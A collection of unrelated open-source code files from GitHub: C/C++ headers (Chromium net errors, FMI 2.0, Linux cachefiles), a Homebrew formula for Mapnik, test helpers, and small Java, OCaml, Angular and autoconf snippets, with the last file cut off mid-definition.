a bad client // certificate. bool IsClientCertificateError(int error); // Map system error code to Error. Error MapSystemError(logging::SystemErrorCode os_error); // A convenient function to translate file error to net error code. Error FileErrorToNetError(base::File::Error file_error); } // namespace net #endif // NET_BASE_NET_ERRORS_H__
{ "pile_set_name": "Github" }
using System.Diagnostics.CodeAnalysis; using Dev2.Runtime.ServiceModel.Data; namespace Dev2.Tests.Activities.ActivityTests { [ExcludeFromCodeCoverage] public static class TestUtils { public static WebSource CreateWebSourceWithCredentials() { return new WebSource() { AuthenticationType = AuthenticationType.User, Password = "Passwr1", UserName = "User1", Address = ExampleUri }; } public const string ExampleUri = "http://www.example.com"; public static WebSource CreateWebSourceWithAnonymousAuthentication() { return new WebSource() { Password = "PasJun1", UserName = "User1", AuthenticationType = AuthenticationType.Anonymous, Address = ExampleUri }; } } }
{ "pile_set_name": "Github" }
#ifndef fmi2Functions_h #define fmi2Functions_h /* This header file must be utilized when compiling a FMU. It defines all functions of the FMI 2.0.1 Model Exchange and Co-Simulation Interface. In order to have unique function names even if several FMUs are compiled together (e.g. for embedded systems), every "real" function name is constructed by prepending the function name by "FMI2_FUNCTION_PREFIX". Therefore, the typical usage is: #define FMI2_FUNCTION_PREFIX MyModel_ #include "fmi2Functions.h" As a result, a function that is defined as "fmi2GetDerivatives" in this header file, is actually getting the name "MyModel_fmi2GetDerivatives". This only holds if the FMU is shipped in C source code, or is compiled in a static link library. For FMUs compiled in a DLL/sharedObject, the "actual" function names are used and "FMI2_FUNCTION_PREFIX" must not be defined. Revisions: - Sep. 29, 2019: License changed to 2-clause BSD License (without extensions) - Apr. 9, 2014: All prefixes "fmi" renamed to "fmi2" (decision from April 8) - Mar. 26, 2014: FMI_Export set to empty value if FMI_Export and FMI_FUNCTION_PREFIX are not defined (#173) - Oct. 11, 2013: Functions of ModelExchange and CoSimulation merged: fmiInstantiateModel , fmiInstantiateSlave -> fmiInstantiate fmiFreeModelInstance, fmiFreeSlaveInstance -> fmiFreeInstance fmiEnterModelInitializationMode, fmiEnterSlaveInitializationMode -> fmiEnterInitializationMode fmiExitModelInitializationMode , fmiExitSlaveInitializationMode -> fmiExitInitializationMode fmiTerminateModel, fmiTerminateSlave -> fmiTerminate fmiResetSlave -> fmiReset (now also for ModelExchange and not only for CoSimulation) Functions renamed: fmiUpdateDiscreteStates -> fmiNewDiscreteStates - June 13, 2013: Functions removed: fmiInitializeModel fmiEventUpdate fmiCompletedEventIteration fmiInitializeSlave Functions added: fmiEnterModelInitializationMode fmiExitModelInitializationMode fmiEnterEventMode fmiUpdateDiscreteStates fmiEnterContinuousTimeMode fmiEnterSlaveInitializationMode; fmiExitSlaveInitializationMode; - Feb. 17, 2013: Portability improvements: o DllExport changed to FMI_Export o FUNCTION_PREFIX changed to FMI_FUNCTION_PREFIX o Allow undefined FMI_FUNCTION_PREFIX (meaning no prefix is used) Changed function name "fmiTerminate" to "fmiTerminateModel" (due to #113) Changed function name "fmiGetNominalContinuousState" to "fmiGetNominalsOfContinuousStates" Removed fmiGetStateValueReferences. - Nov. 14, 2011: Adapted to FMI 2.0: o Split into two files (fmiFunctions.h, fmiTypes.h) in order that code that dynamically loads an FMU can directly utilize the header files). o Added C++ encapsulation of C-part, in order that the header file can be directly utilized in C++ code. o fmiCallbackFunctions is passed as pointer to fmiInstantiateXXX o stepFinished within fmiCallbackFunctions has as first argument "fmiComponentEnvironment" and not "fmiComponent". o New functions to get and set the complete FMU state and to compute partial derivatives. - Nov. 4, 2010: Adapted to specification text: o fmiGetModelTypesPlatform renamed to fmiGetTypesPlatform o fmiInstantiateSlave: Argument GUID replaced by fmuGUID Argument mimetype replaced by mimeType o tabs replaced by spaces - Oct. 16, 2010: Functions for FMI for Co-simulation added - Jan. 20, 2010: stateValueReferencesChanged added to struct fmiEventInfo (ticket #27) (by M. Otter, DLR) Added WIN32 pragma to define the struct layout (ticket #34) (by J. Mauss, QTronic) - Jan. 4, 2010: Removed argument intermediateResults from fmiInitialize Renamed macro fmiGetModelFunctionsVersion to fmiGetVersion Renamed macro fmiModelFunctionsVersion to fmiVersion Replaced fmiModel by fmiComponent in decl of fmiInstantiateModel (by J. Mauss, QTronic) - Dec. 17, 2009: Changed extension "me" to "fmi" (by Martin Otter, DLR). - Dez. 14, 2009: Added eventInfo to meInitialize and added meGetNominalContinuousStates (by Martin Otter, DLR) - Sept. 9, 2009: Added DllExport (according to Peter Nilsson's suggestion) (by A. Junghanns, QTronic) - Sept. 9, 2009: Changes according to FMI-meeting on July 21: meInquireModelTypesVersion -> meGetModelTypesPlatform meInquireModelFunctionsVersion -> meGetModelFunctionsVersion meSetStates -> meSetContinuousStates meGetStates -> meGetContinuousStates removal of meInitializeModelClass removal of meGetTime change of arguments of meInstantiateModel change of arguments of meCompletedIntegratorStep (by Martin Otter, DLR): - July 19, 2009: Added "me" as prefix to file names (by Martin Otter, DLR). - March 2, 2009: Changed function definitions according to the last design meeting with additional improvements (by Martin Otter, DLR). - Dec. 3 , 2008: First version by Martin Otter (DLR) and Hans Olsson (Dynasim). Copyright (C) 2008-2011 MODELISAR consortium, 2012-2019 Modelica Association Project "FMI" All rights reserved. This file is licensed by the copyright holders under the 2-Clause BSD License (https://opensource.org/licenses/BSD-2-Clause): ---------------------------------------------------------------------------- Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ---------------------------------------------------------------------------- */ #ifdef __cplusplus extern "C" { #endif #include "fmi2TypesPlatform.h" #include "fmi2FunctionTypes.h" #include <stdlib.h> /* Export FMI2 API functions on Windows and under GCC. This definition has been changed to always export the symbols. */ #if defined _WIN32 || defined __CYGWIN__ /* Note: both gcc & MSVC on Windows support this syntax. */ #define FMI2_Export __declspec(dllexport) #else #if __GNUC__ >= 4 #define FMI2_Export __attribute__ ((visibility ("default"))) #else #define FMI2_Export #endif #endif /* Macro to construct the real function name. This definition has been changed to add no prefix. */ #define fmi2FullName(name) name /*************************************************** Common Functions ****************************************************/ #define fmi2GetTypesPlatform fmi2FullName(fmi2GetTypesPlatform) #define fmi2GetVersion fmi2FullName(fmi2GetVersion) #define fmi2SetDebugLogging fmi2FullName(fmi2SetDebugLogging) #define fmi2Instantiate fmi2FullName(fmi2Instantiate) #define fmi2FreeInstance fmi2FullName(fmi2FreeInstance) #define fmi2SetupExperiment fmi2FullName(fmi2SetupExperiment) #define fmi2EnterInitializationMode fmi2FullName(fmi2EnterInitializationMode) #define fmi2ExitInitializationMode fmi2FullName(fmi2ExitInitializationMode) #define fmi2Terminate fmi2FullName(fmi2Terminate) #define fmi2Reset fmi2FullName(fmi2Reset) #define fmi2GetReal fmi2FullName(fmi2GetReal) #define fmi2GetInteger fmi2FullName(fmi2GetInteger) #define fmi2GetBoolean fmi2FullName(fmi2GetBoolean) #define fmi2GetString fmi2FullName(fmi2GetString) #define fmi2SetReal fmi2FullName(fmi2SetReal) #define fmi2SetInteger fmi2FullName(fmi2SetInteger) #define fmi2SetBoolean fmi2FullName(fmi2SetBoolean) #define fmi2SetString fmi2FullName(fmi2SetString) #define fmi2GetFMUstate fmi2FullName(fmi2GetFMUstate) #define fmi2SetFMUstate fmi2FullName(fmi2SetFMUstate) #define fmi2FreeFMUstate fmi2FullName(fmi2FreeFMUstate) #define fmi2SerializedFMUstateSize fmi2FullName(fmi2SerializedFMUstateSize) #define fmi2SerializeFMUstate fmi2FullName(fmi2SerializeFMUstate) #define fmi2DeSerializeFMUstate fmi2FullName(fmi2DeSerializeFMUstate) #define fmi2GetDirectionalDerivative fmi2FullName(fmi2GetDirectionalDerivative) /*************************************************** Functions for FMI2 for Model Exchange ****************************************************/ #define fmi2EnterEventMode fmi2FullName(fmi2EnterEventMode) #define fmi2NewDiscreteStates fmi2FullName(fmi2NewDiscreteStates) #define fmi2EnterContinuousTimeMode fmi2FullName(fmi2EnterContinuousTimeMode) #define fmi2CompletedIntegratorStep fmi2FullName(fmi2CompletedIntegratorStep) #define fmi2SetTime fmi2FullName(fmi2SetTime) #define fmi2SetContinuousStates fmi2FullName(fmi2SetContinuousStates) #define fmi2GetDerivatives fmi2FullName(fmi2GetDerivatives) #define fmi2GetEventIndicators fmi2FullName(fmi2GetEventIndicators) #define fmi2GetContinuousStates fmi2FullName(fmi2GetContinuousStates) #define fmi2GetNominalsOfContinuousStates fmi2FullName(fmi2GetNominalsOfContinuousStates) /*************************************************** Functions for FMI2 for Co-Simulation ****************************************************/ #define fmi2SetRealInputDerivatives fmi2FullName(fmi2SetRealInputDerivatives) #define fmi2GetRealOutputDerivatives fmi2FullName(fmi2GetRealOutputDerivatives) #define fmi2DoStep fmi2FullName(fmi2DoStep) #define fmi2CancelStep fmi2FullName(fmi2CancelStep) #define fmi2GetStatus fmi2FullName(fmi2GetStatus) #define fmi2GetRealStatus fmi2FullName(fmi2GetRealStatus) #define fmi2GetIntegerStatus fmi2FullName(fmi2GetIntegerStatus) #define fmi2GetBooleanStatus fmi2FullName(fmi2GetBooleanStatus) #define fmi2GetStringStatus fmi2FullName(fmi2GetStringStatus) /* Version number */ #define fmi2Version "2.0" /*************************************************** Common Functions ****************************************************/ /* Inquire version numbers of header files */ FMI2_Export fmi2GetTypesPlatformTYPE fmi2GetTypesPlatform; FMI2_Export fmi2GetVersionTYPE fmi2GetVersion; FMI2_Export fmi2SetDebugLoggingTYPE fmi2SetDebugLogging; /* Creation and destruction of FMU instances */ FMI2_Export fmi2InstantiateTYPE fmi2Instantiate; FMI2_Export fmi2FreeInstanceTYPE fmi2FreeInstance; /* Enter and exit initialization mode, terminate and reset */ FMI2_Export fmi2SetupExperimentTYPE fmi2SetupExperiment; FMI2_Export fmi2EnterInitializationModeTYPE fmi2EnterInitializationMode; FMI2_Export fmi2ExitInitializationModeTYPE fmi2ExitInitializationMode; FMI2_Export fmi2TerminateTYPE fmi2Terminate; FMI2_Export fmi2ResetTYPE fmi2Reset; /* Getting and setting variables values */ FMI2_Export fmi2GetRealTYPE fmi2GetReal; FMI2_Export fmi2GetIntegerTYPE fmi2GetInteger; FMI2_Export fmi2GetBooleanTYPE fmi2GetBoolean; FMI2_Export fmi2GetStringTYPE fmi2GetString; FMI2_Export fmi2SetRealTYPE fmi2SetReal; FMI2_Export fmi2SetIntegerTYPE fmi2SetInteger; FMI2_Export fmi2SetBooleanTYPE fmi2SetBoolean; FMI2_Export fmi2SetStringTYPE fmi2SetString; /* Getting and setting the internal FMU state */ FMI2_Export fmi2GetFMUstateTYPE fmi2GetFMUstate; FMI2_Export fmi2SetFMUstateTYPE fmi2SetFMUstate; FMI2_Export fmi2FreeFMUstateTYPE fmi2FreeFMUstate; FMI2_Export fmi2SerializedFMUstateSizeTYPE fmi2SerializedFMUstateSize; FMI2_Export fmi2SerializeFMUstateTYPE fmi2SerializeFMUstate; FMI2_Export fmi2DeSerializeFMUstateTYPE fmi2DeSerializeFMUstate; /* Getting partial derivatives */ FMI2_Export fmi2GetDirectionalDerivativeTYPE fmi2GetDirectionalDerivative; /*************************************************** Functions for FMI2 for Model Exchange ****************************************************/ /* Enter and exit the different modes */ FMI2_Export fmi2EnterEventModeTYPE fmi2EnterEventMode; FMI2_Export fmi2NewDiscreteStatesTYPE fmi2NewDiscreteStates; FMI2_Export fmi2EnterContinuousTimeModeTYPE fmi2EnterContinuousTimeMode; FMI2_Export fmi2CompletedIntegratorStepTYPE fmi2CompletedIntegratorStep; /* Providing independent variables and re-initialization of caching */ FMI2_Export fmi2SetTimeTYPE fmi2SetTime; FMI2_Export fmi2SetContinuousStatesTYPE fmi2SetContinuousStates; /* Evaluation of the model equations */ FMI2_Export fmi2GetDerivativesTYPE fmi2GetDerivatives; FMI2_Export fmi2GetEventIndicatorsTYPE fmi2GetEventIndicators; FMI2_Export fmi2GetContinuousStatesTYPE fmi2GetContinuousStates; FMI2_Export fmi2GetNominalsOfContinuousStatesTYPE fmi2GetNominalsOfContinuousStates; /*************************************************** Functions for FMI2 for Co-Simulation ****************************************************/ /* Simulating the slave */ FMI2_Export fmi2SetRealInputDerivativesTYPE fmi2SetRealInputDerivatives; FMI2_Export fmi2GetRealOutputDerivativesTYPE fmi2GetRealOutputDerivatives; FMI2_Export fmi2DoStepTYPE fmi2DoStep; FMI2_Export fmi2CancelStepTYPE fmi2CancelStep; /* Inquire slave status */ FMI2_Export fmi2GetStatusTYPE fmi2GetStatus; FMI2_Export fmi2GetRealStatusTYPE fmi2GetRealStatus; FMI2_Export fmi2GetIntegerStatusTYPE fmi2GetIntegerStatus; FMI2_Export fmi2GetBooleanStatusTYPE fmi2GetBooleanStatus; FMI2_Export fmi2GetStringStatusTYPE fmi2GetStringStatus; #ifdef __cplusplus } /* end of extern "C" { */ #endif #endif /* fmi2Functions_h */
{ "pile_set_name": "Github" }
class Mapnik < Formula desc "Toolkit for developing mapping applications" homepage "https://mapnik.org/" url "https://github.com/mapnik/mapnik/releases/download/v3.0.23/mapnik-v3.0.23.tar.bz2" sha256 "4b1352e01f7ce25ab099e586d7ae98e0b74145a3bf94dd365cb0a2bdab3b9dc2" license "LGPL-2.1" revision 3 head "https://github.com/mapnik/mapnik.git" livecheck do url "https://github.com/mapnik/mapnik/releases/latest" regex(%r{href=.*?/tag/v?(\d+(?:\.\d+)+)["' >]}i) end bottle do cellar :any sha256 "ba583ea99a13377783c2dabc25c55ccc2d1a296cfb1f52e9a4a08dc82a0b0576" => :catalina sha256 "5c6ebca702fb213f0ca8a678726a57c54d1b97a48d88d61b90ccfb6bd2b0d605" => :mojave sha256 "ef6e65090ed5b627874c66ab30e5365ffcd90c7c9b4f810b318113c014b7a528" => :high_sierra end depends_on "pkg-config" => :build depends_on "boost" depends_on "cairo" depends_on "freetype" depends_on "gdal" depends_on "harfbuzz" depends_on "icu4c" depends_on "jpeg" depends_on "libpng" depends_on "libtiff" depends_on "postgresql" depends_on "proj" depends_on "webp" def install ENV.cxx11 # Work around "error: no member named 'signbit' in the global namespace" # encountered when trying to detect boost regex in configure ENV.delete("SDKROOT") if DevelopmentTools.clang_build_version >= 900 # Use Proj 6.0.0 compatibility headers # https://github.com/mapnik/mapnik/issues/4036 ENV.append_to_cflags "-DACCEPT_USE_OF_DEPRECATED_PROJ_API_H" boost = Formula["boost"].opt_prefix freetype = Formula["freetype"].opt_prefix harfbuzz = Formula["harfbuzz"].opt_prefix icu = Formula["icu4c"].opt_prefix jpeg = Formula["jpeg"].opt_prefix libpng = Formula["libpng"].opt_prefix libtiff = Formula["libtiff"].opt_prefix proj = Formula["proj"].opt_prefix webp = Formula["webp"].opt_prefix args = %W[ CC=#{ENV.cc} CXX=#{ENV.cxx} PREFIX=#{prefix} BOOST_INCLUDES=#{boost}/include BOOST_LIBS=#{boost}/lib CAIRO=True CPP_TESTS=False FREETYPE_CONFIG=#{freetype}/bin/freetype-config GDAL_CONFIG=#{Formula["gdal"].opt_bin}/gdal-config HB_INCLUDES=#{harfbuzz}/include HB_LIBS=#{harfbuzz}/lib ICU_INCLUDES=#{icu}/include ICU_LIBS=#{icu}/lib INPUT_PLUGINS=all JPEG_INCLUDES=#{jpeg}/include JPEG_LIBS=#{jpeg}/lib NIK2IMG=False PG_CONFIG=#{Formula["postgresql"].opt_bin}/pg_config PNG_INCLUDES=#{libpng}/include PNG_LIBS=#{libpng}/lib PROJ_INCLUDES=#{proj}/include PROJ_LIBS=#{proj}/lib TIFF_INCLUDES=#{libtiff}/include TIFF_LIBS=#{libtiff}/lib WEBP_INCLUDES=#{webp}/include WEBP_LIBS=#{webp}/lib ] system "./configure", *args system "make" system "make", "install" end test do output = shell_output("#{bin}/mapnik-config --prefix").chomp assert_equal prefix.to_s, output end end
{ "pile_set_name": "Github" }
profile False controller_debug_mode False cli True listen_port 6634 test_duration_sec 30 total_traffic_prefix total-traffic slack_factor 5.0 topo_args [1, 1] results_folder ./results/ policy_args ['n', '1', 'm', '1'] test congested_link
{ "pile_set_name": "Github" }
PEMU_LIBC_PROVIDES dnl See aclocal.m4 in the top level source directory. # Local configure fragment for sysdeps/x86_64/elf. if test "$usetls" != no; then # Check for support of thread-local storage handling in assembler and linker. AC_CACHE_CHECK(for x86-64 TLS support, libc_cv_x86_64_tls, [dnl cat > conftest.s <<\EOF .section ".tdata", "awT", @progbits .globl foo foo: .quad 1 .section ".tbss", "awT", @nobits .globl bar bar: .skip 8 .text baz: leaq bar@TLSLD(%rip), %rdi leaq bar@DTPOFF(%rax), %rcx addq foo@GOTTPOFF(%rip), %rax movq $bar@TPOFF, %rdx EOF dnl if AC_TRY_COMMAND(${CC-cc} -c $CFLAGS conftest.s 1>&AS_MESSAGE_LOG_FD); then libc_cv_x86_64_tls=yes else libc_cv_x86_64_tls=no fi rm -f conftest*]) if test $libc_cv_x86_64_tls = yes; then AC_DEFINE(HAVE_TLS_SUPPORT) fi fi dnl It is always possible to access static and hidden symbols in an dnl position independent way. AC_DEFINE(PI_STATIC_AND_HIDDEN)
{ "pile_set_name": "Github" }
package io.quarkus.benchmark.resource.pgclient; import io.quarkus.benchmark.model.Fortune; import io.quarkus.benchmark.repository.pgclient.FortuneRepository; import io.quarkus.vertx.web.Route; import io.vertx.core.http.HttpHeaders; import io.vertx.ext.web.RoutingContext; import io.vertx.reactivex.ext.web.templ.rocker.RockerTemplateEngine; import javax.enterprise.context.ApplicationScoped; import javax.inject.Inject; import java.util.Comparator; @ApplicationScoped public class FortuneResource extends BaseResource { @Inject FortuneRepository repository; private final RockerTemplateEngine templeEngine; public FortuneResource() { templeEngine = RockerTemplateEngine.create(); } @Route(path = "fortunes") public void fortunes(RoutingContext rc) { repository.findAll() .subscribe().with(fortunes -> { fortunes.add(new Fortune(0, "Additional fortune added at request time.")); fortunes.sort(Comparator.comparing(fortune -> fortune.getMessage())); rc.put("fortunes", fortunes); templeEngine.render(rc.data(), "templates/Fortunes.rocker.html", res -> { if (res.succeeded()) { rc.response() .putHeader(HttpHeaders.CONTENT_TYPE, "text/html; charset=UTF-8") .end(res.result().toString()); } else { rc.fail(res.cause()); } }); }, t -> handleFail(rc, t)); } }
{ "pile_set_name": "Github" }
/* * Copyright 2017-2019 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.cloud.gcp.data.firestore.it; import java.io.IOException; import com.google.auth.oauth2.GoogleCredentials; import com.google.firestore.v1.FirestoreGrpc; import io.grpc.CallCredentials; import io.grpc.ManagedChannel; import io.grpc.ManagedChannelBuilder; import io.grpc.auth.MoreCallCredentials; import org.mockito.Mockito; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.cloud.gcp.data.firestore.FirestoreTemplate; import org.springframework.cloud.gcp.data.firestore.entities.UserRepository; import org.springframework.cloud.gcp.data.firestore.mapping.FirestoreClassMapper; import org.springframework.cloud.gcp.data.firestore.mapping.FirestoreDefaultClassMapper; import org.springframework.cloud.gcp.data.firestore.mapping.FirestoreMappingContext; import org.springframework.cloud.gcp.data.firestore.repository.config.EnableReactiveFirestoreRepositories; import org.springframework.cloud.gcp.data.firestore.transaction.ReactiveFirestoreTransactionManager; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.PropertySource; import org.springframework.transaction.annotation.EnableTransactionManagement; /** * Spring config for the integration tests. */ @Configuration @PropertySource("application-test.properties") @EnableReactiveFirestoreRepositories(basePackageClasses = UserRepository.class) @EnableTransactionManagement public class FirestoreIntegrationTestsConfiguration { @Value("projects/${test.integration.firestore.project-id}/databases/(default)/documents") String defaultParent; @Bean FirestoreGrpc.FirestoreStub firestoreStub() throws IOException { GoogleCredentials credentials = GoogleCredentials.getApplicationDefault(); CallCredentials callCredentials = MoreCallCredentials.from(credentials); // Create a channel ManagedChannel channel = ManagedChannelBuilder .forTarget("dns:///firestore.googleapis.com:443") .build(); return FirestoreGrpc.newStub(channel).withCallCredentials(callCredentials); } @Bean public FirestoreMappingContext firestoreMappingContext() { return new FirestoreMappingContext(); } @Bean public FirestoreTemplate firestoreTemplate(FirestoreGrpc.FirestoreStub firestoreStub, FirestoreClassMapper classMapper, FirestoreMappingContext firestoreMappingContext) { return new FirestoreTemplate(firestoreStub, this.defaultParent, classMapper, firestoreMappingContext); } @Bean @ConditionalOnMissingBean public ReactiveFirestoreTransactionManager firestoreTransactionManager( FirestoreGrpc.FirestoreStub firestoreStub) { return Mockito.spy(new ReactiveFirestoreTransactionManager(firestoreStub, this.defaultParent)); } //tag::user_service_bean[] @Bean public UserService userService() { return new UserService(); } //end::user_service_bean[] @Bean @ConditionalOnMissingBean public FirestoreClassMapper getClassMapper() { return new FirestoreDefaultClassMapper(); } }
{ "pile_set_name": "Github" }
/** * @license * Copyright Google LLC All Rights Reserved. * * Use of this source code is governed by an MIT-style license that can be * found in the LICENSE file at https://angular.io/license */ export * from './autosize'; export * from './input'; export * from './input-errors'; export * from './input-module'; export * from './input-value-accessor';
{ "pile_set_name": "Github" }
open Graphics let round x = int_of_float (floor (x +. 0.5)) let () = open_graph ""; let cols = size_x () in let rows = size_y () in let colors = [| black; red; green; blue; magenta; cyan; yellow; white |] in let n = Array.length colors in let bar_width = (float cols) /. (float n) in Array.iteri (fun i color -> let x1 = bar_width *. (float i) in let x2 = bar_width *. (float (succ i)) in set_color color; fill_rect (round x1) 0 (round x2) rows; ) colors; ignore (read_key ()); ;;
{ "pile_set_name": "Github" }
/* General netfs cache on cache files internal defs * * Copyright (C) 2007 Red Hat, Inc. All Rights Reserved. * Written by David Howells ([email protected]) * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public Licence * as published by the Free Software Foundation; either version * 2 of the Licence, or (at your option) any later version. */ #ifdef pr_fmt #undef pr_fmt #endif #define pr_fmt(fmt) "CacheFiles: " fmt #include <linux/fscache-cache.h> #include <linux/timer.h> #include <linux/wait.h> #include <linux/workqueue.h> #include <linux/security.h> struct cachefiles_cache; struct cachefiles_object; extern unsigned cachefiles_debug; #define CACHEFILES_DEBUG_KENTER 1 #define CACHEFILES_DEBUG_KLEAVE 2 #define CACHEFILES_DEBUG_KDEBUG 4 #define cachefiles_gfp (__GFP_RECLAIM | __GFP_NORETRY | __GFP_NOMEMALLOC) /* * node records */ struct cachefiles_object { struct fscache_object fscache; /* fscache handle */ struct cachefiles_lookup_data *lookup_data; /* cached lookup data */ struct dentry *dentry; /* the file/dir representing this object */ struct dentry *backer; /* backing file */ loff_t i_size; /* object size */ unsigned long flags; #define CACHEFILES_OBJECT_ACTIVE 0 /* T if marked active */ atomic_t usage; /* object usage count */ uint8_t type; /* object type */ uint8_t new; /* T if object new */ spinlock_t work_lock; struct rb_node active_node; /* link in active tree (dentry is key) */ }; extern struct kmem_cache *cachefiles_object_jar; /* * Cache files cache definition */ struct cachefiles_cache { struct fscache_cache cache; /* FS-Cache record */ struct vfsmount *mnt; /* mountpoint holding the cache */ struct dentry *graveyard; /* directory into which dead objects go */ struct file *cachefilesd; /* manager daemon handle */ const struct cred *cache_cred; /* security override for accessing cache */ struct mutex daemon_mutex; /* command serialisation mutex */ wait_queue_head_t daemon_pollwq; /* poll waitqueue for daemon */ struct rb_root active_nodes; /* active nodes (can't be culled) */ rwlock_t active_lock; /* lock for active_nodes */ atomic_t gravecounter; /* graveyard uniquifier */ unsigned frun_percent; /* when to stop culling (% files) */ unsigned fcull_percent; /* when to start culling (% files) */ unsigned fstop_percent; /* when to stop allocating (% files) */ unsigned brun_percent; /* when to stop culling (% blocks) */ unsigned bcull_percent; /* when to start culling (% blocks) */ unsigned bstop_percent; /* when to stop allocating (% blocks) */ unsigned bsize; /* cache's block size */ unsigned bshift; /* min(ilog2(PAGE_SIZE / bsize), 0) */ uint64_t frun; /* when to stop culling */ uint64_t fcull; /* when to start culling */ uint64_t fstop; /* when to stop allocating */ sector_t brun; /* when to stop culling */ sector_t bcull; /* when to start culling */ sector_t bstop; /* when to stop allocating */ unsigned long flags; #define CACHEFILES_READY 0 /* T if cache prepared */ #define CACHEFILES_DEAD 1 /* T if cache dead */ #define CACHEFILES_CULLING 2 /* T if cull engaged */ #define CACHEFILES_STATE_CHANGED 3 /* T if state changed (poll trigger) */ char *rootdirname; /* name of cache root directory */ char *secctx; /* LSM security context */ char *tag; /* cache binding tag */ }; /* * backing file read tracking */ struct cachefiles_one_read { wait_queue_t monitor; /* link into monitored waitqueue */ struct page *back_page; /* backing file page we're waiting for */ struct page *netfs_page; /* netfs page we're going to fill */ struct fscache_retrieval *op; /* retrieval op covering this */ struct list_head op_link; /* link in op's todo list */ }; /* * backing file write tracking */ struct cachefiles_one_write { struct page *netfs_page; /* netfs page to copy */ struct cachefiles_object *object; struct list_head obj_link; /* link in object's lists */ fscache_rw_complete_t end_io_func; void *context; }; /* * auxiliary data xattr buffer */ struct cachefiles_xattr { uint16_t len; uint8_t type; uint8_t data[]; }; /* * note change of state for daemon */ static inline void cachefiles_state_changed(struct cachefiles_cache *cache) { set_bit(CACHEFILES_STATE_CHANGED, &cache->flags); wake_up_all(&cache->daemon_pollwq); } /* * bind.c */ extern int cachefiles_daemon_bind(struct cachefiles_cache *cache, char *args); extern void cachefiles_daemon_unbind(struct cachefiles_cache *cache); /* * daemon.c */ extern const struct file_operations cachefiles_daemon_fops; extern int cachefiles_has_space(struct cachefiles_cache *cache, unsigned fnr, unsigned bnr); /* * interface.c */ extern const struct fscache_cache_ops cachefiles_cache_ops; /* * key.c */ extern char *cachefiles_cook_key(const u8 *raw, int keylen, uint8_t type); /* * namei.c */ extern int cachefiles_delete_object(struct cachefiles_cache *cache, struct cachefiles_object *object); extern int cachefiles_walk_to_object(struct cachefiles_object *parent, struct cachefiles_object *object, const char *key, struct cachefiles_xattr *auxdata); extern struct dentry *cachefiles_get_directory(struct cachefiles_cache *cache, struct dentry *dir, const char *name); extern int cachefiles_cull(struct cachefiles_cache *cache, struct dentry *dir, char *filename); extern int cachefiles_check_in_use(struct cachefiles_cache *cache, struct dentry *dir, char *filename); /* * proc.c */ #ifdef CONFIG_CACHEFILES_HISTOGRAM extern atomic_t cachefiles_lookup_histogram[HZ]; extern atomic_t cachefiles_mkdir_histogram[HZ]; extern atomic_t cachefiles_create_histogram[HZ]; extern int __init cachefiles_proc_init(void); extern void cachefiles_proc_cleanup(void); static inline void cachefiles_hist(atomic_t histogram[], unsigned long start_jif) { unsigned long jif = jiffies - start_jif; if (jif >= HZ) jif = HZ - 1; atomic_inc(&histogram[jif]); } #else #define cachefiles_proc_init() (0) #define cachefiles_proc_cleanup() do {} while (0) #define cachefiles_hist(hist, start_jif) do {} while (0) #endif /* * rdwr.c */ extern int cachefiles_read_or_alloc_page(struct fscache_retrieval *, struct page *, gfp_t); extern int cachefiles_read_or_alloc_pages(struct fscache_retrieval *, struct list_head *, unsigned *, gfp_t); extern int cachefiles_allocate_page(struct fscache_retrieval *, struct page *, gfp_t); extern int cachefiles_allocate_pages(struct fscache_retrieval *, struct list_head *, unsigned *, gfp_t); extern int cachefiles_write_page(struct fscache_storage *, struct page *); extern void cachefiles_uncache_page(struct fscache_object *, struct page *); /* * security.c */ extern int cachefiles_get_security_ID(struct cachefiles_cache *cache); extern int cachefiles_determine_cache_security(struct cachefiles_cache *cache, struct dentry *root, const struct cred **_saved_cred); static inline void cachefiles_begin_secure(struct cachefiles_cache *cache, const struct cred **_saved_cred) { *_saved_cred = override_creds(cache->cache_cred); } static inline void cachefiles_end_secure(struct cachefiles_cache *cache, const struct cred *saved_cred) { revert_creds(saved_cred); } /* * xattr.c */ extern int cachefiles_check_object_type(struct cachefiles_object *object); extern int cachefiles_set_object_xattr(struct cachefiles_object *object, struct cachefiles_xattr *auxdata); extern int cachefiles_update_object_xattr(struct cachefiles_object *object, struct cachefiles_xattr *auxdata); extern int cachefiles_check_auxdata(struct cachefiles_object *object); extern int cachefiles_check_object_xattr(struct cachefiles_object *object, struct cachefiles_xattr *auxdata); extern int cachefiles_remove_object_xattr(struct cachefiles_cache *cache, struct dentry *dentry); /* * error handling */ #define cachefiles_io_error(___cache, FMT, ...) \ do { \ pr_err("I/O Error: " FMT"\n", ##__VA_ARGS__); \ fscache_io_error(&(___cache)->cache); \ set_bit(CACHEFILES_DEAD, &(___cache)->flags); \ } while (0) #define cachefiles_io_error_obj(object, FMT, ...) \ do { \ struct 